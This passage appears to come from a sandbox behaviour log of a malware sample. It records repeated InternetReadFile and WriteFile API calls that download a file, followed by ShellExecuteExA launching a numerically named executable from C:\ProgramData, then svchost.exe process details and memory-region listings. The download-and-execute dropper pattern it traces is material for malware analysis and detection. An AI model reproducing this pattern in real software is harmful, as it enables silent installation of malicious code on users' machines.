[0061.516] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.517] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.517] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.517] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.517] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.517] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.517] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.517] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.517] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.518] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.518] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.518] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.518] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.518] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.518] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.518] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.518] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.519] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.519] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.519] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.631] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.631] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.631] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.631] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.631] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.632] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.632] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.632] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.632] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.632] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.632] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.632] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.632] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.633] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.633] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.633] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.633] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.633] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.633] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.633] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.634] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.634] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.634] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.634] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.634] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0063.092] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0063.092] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0063.092] ShellExecuteExA (in: pExecInfo=0xe79d36c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="open", lpFile="C:\\ProgramData\\35705580001859887656.exe", lpParameters="", lpDirectory=0x0, nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0xe79d36c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="open", lpFile="C:\\ProgramData\\35705580001859887656.exe", lpParameters="", lpDirectory=0x0, nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
[0065.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0065.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ec40 | out: hHeap=0x670000) returned 1
Thread:
id = 124
os_tid = 0x1358
Thread:
id = 127
os_tid = 0x1370
Thread:
id = 135
os_tid = 0x13dc
Process:
id = "2"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x7591e000"
os_pid = "0x358"
os_integrity_level = "0x4000"
os_privileges = "0xe60b1e890"
monitor_reason = "rpc_server"
parent_id = "1"
os_parent_pid = "0x210"
cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\SYSTEM"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ac15" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]
Region:
id = 399
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 400
start_va = 0x3cf3800000
end_va = 0x3cf39fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf3800000"
filename = ""
Region:
id = 401
start_va = 0x3cf3a00000
end_va = 0x3cf3a7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf3a00000"
filename = ""
Region:
id = 402
start_va = 0x3cf3c00000
end_va = 0x3cf3cfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf3c00000"
filename = ""
Region:
id = 403
start_va = 0x3cf3d00000
end_va = 0x3cf3dfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf3d00000"
filename = ""
Region:
id = 404
start_va = 0x3cf3e00000
end_va = 0x3cf3efffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf3e00000"
filename = ""
Region:
id = 405
start_va = 0x3cf4000000
end_va = 0x3cf407ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4000000"
filename = ""
Region:
id = 406
start_va = 0x3cf4080000
end_va = 0x3cf417ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4080000"
filename = ""
Region:
id = 407
start_va = 0x3cf4180000
end_va = 0x3cf427ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cf4180000"
filename = ""
Region:
id = 408
start_va = 0x3cf4500000
